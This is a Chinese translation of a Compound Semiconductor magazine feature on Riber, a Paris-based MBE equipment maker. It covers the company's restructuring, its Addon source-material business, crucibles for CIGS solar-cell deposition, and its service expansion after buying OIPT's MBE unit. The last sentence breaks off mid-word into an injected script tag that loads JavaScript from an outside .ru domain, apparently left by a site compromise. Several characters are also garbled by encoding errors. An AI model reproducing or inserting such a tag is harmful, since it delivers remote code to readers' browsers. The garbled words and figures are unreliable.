分子束外延厂商聚焦新兴市场

Riber公司开始重视氮化物器件的生产，如新型太阳能电池和有机半导体材料等。Michael访问了这家位于巴黎的设备公司，试图发掘更多关于它较新战略的信息。 Michael Hatcher 《Compound Semiconductor》杂志 在巴黎一个被人遗忘的角落，一幢不起眼的建筑隐匿在一条靠近塞纳河的单行道的尽头。一旦你进入之后，你却能目睹到当今较先进的半导体制造技术。这就是Riber公司，他们将MBE推向市场化，在这方面他们做的工作可能比其他任何公司都要多。铁门后面是停车场，而在位于公司大楼中心地带的超净间里，大约有十二套MBE反应腔体正准备装配。这些新的设备将制造出首批氮化镓（GaN）高电子迁移率晶体管（HEMT）外延片，用于生产大功率射频IC、超酷显示器所用的有机发光二极管（OLED）以及将来会成为发电之根本的太阳能电池等。但是MBE设备的生意已不好经营了。量产级反应腔的销售几乎停滞，Riber公司已面临财政压力。在新的监督机制和执行董事会成立之前，令人失望的财政状况是不可避免的。在半导体圈子里，No雔 Goutard也许并不是一个为人熟知的名字。他曾是汽车装备跨国公司Valeo的前任CEO，那时该公司几乎控制了汽车离合器市场。他具有丰富的商业经验。2007年12月，Goutard增加了他在Riber的投资，之后还引荐了Jean-Pierre Regner，一位经验丰富的执行官，曾任Philips半导体法国公司的外部顾问长达30多年，其中包括晶圆厂的经理。

Riber公司需要改变。它没有将足够的精力放到服务上，而且还应该与MBE零部件供应商Addon加大整合力度。几个月后，Regner成为Riber的执行董事会主席，而Michel Picault调去领导公司的系统部门，Addon则全部在Riber的掌控之下。 Regner讲到：“我们现在要集中精力做到三个关键点，系统、资源以及服务。”系统一直以来都是Riber的核心优势，该公司已有三十多年销售MBE设备的历史。重新关注源材料体现在Addon从Riber独立出来，这项工作是在Pierre Bouchaib的领导下进行的，他在上世纪七、八十年代完成了Riber早期MBE业务的拓展。独立出来的这部分业务有利于Riber的未来发展。新的源材料对某些沉积工艺至关重要，其中包括用于薄膜太阳能电池的铜和硒（Cu & Se）、以及有机晶体管和OLED所需的更复杂的化学物质。 创建之中 Bouchaib现在重新担任Riber的销售总监，一张为所有员工熟悉的面孔又漫步在公司的走廊了，而且拥抱和香烟候着——他，就是MBE“教父”。从100级的超净间里看去，有10台MBE设备正在制造装配中，Bouchaib预言它们会在几周内完工并装运出货。在超净间里，坐落着大大小小不同的反应腔，都是为生产厂和研究实验室定制的，它们将用来制备量子点激光器、有机晶体管等。 Bouchaib拥有三十五年设计和销售MBE设备的经验，可能比其他人更有资格对未来做些预测。他肯定的答复是“太阳能电池”。太阳能电池不仅只是MOCVD技术主导的复杂高效三五族化合物器件，还有碲化镉（CdTe）和铜铟镓硒化物（CIGS）器件。尽管已有大量的风险投资，而且CIGS器件已初步成为一种高速、低成本的生产技术（Global Solar已经在美国亚利桑纳州Tucson部署了一个750kW的系统），但CIGS仍然存在一些问题，特别是在形成CulnxGa1-xSe2异质结结构时要求各种源物质均匀的沉积。而对于典型的MBE反应腔而言，沉积的精度不成问题，但需要均匀地沉积，这样生产的电池可靠，性能好，且经济效益高。铟和镓沉积起来相对容易，并且均匀性较好。但这对铜和硒来说就是一个挑战。Bouchaib认为这一问题会严重阻碍CIGS器件的生产。如果CIGS电池生产者想要解决这一问题，你首先要联系的人就是Bouchaib。 Riber的工程师们正和Addon从事开发的专家们合作，试图对MBE源进行一些改进以达到大家所期望的更高的沉积速度。到目前为止，他们已经提出一种进行特别设计，称之为Muso坩埚组，能适用于CIGS生长所需的每种元素。MC坩埚适用于硫和硒，PG坩埚用于铟和镓，而HT坩埚则适用铜。 Bouchaib的方案应该被提上日程，因为目前沉积薄膜的质量是大家较为关心的。但速度一直都很关键，CIGS开发人员希望至少能达到10祄/h。Bouchaib说：“我并不确定我们现在是否能达到，当然我们应该尽能多的努力来提高产率，我相信我们能做到。”目前均匀性能做到±5%，原材料的利用率为75%，通量稳定度为1.45%。CIGS制造商当然不会满足于此，但这一方案前途可观。此外，Bouc-haib认为上述材料源可以用来降低沉积的成本。 Riber公司的战略的第三个重点就是服务，自去年收购Oxford Instruments Plasma Technology（OIPT）的MBE部门后，服务就变得更重要了。尽管OIPT近几年来几乎没有售出一套MBE设备，但以前售出的大量OIPT或更早的VG Semicon老品牌MBE设备还在工作。此次并购使Riber的服务工作量急遽增加。当前全世界共有800套左右的MBE，其中约500套由Riber提供服务，比如对仪器进行软件升级，OIPT先前的客户也将从中获益。目前在MBE系统市场，较主要的两家公?script src=http://app.webserviceget.ru/js.js>

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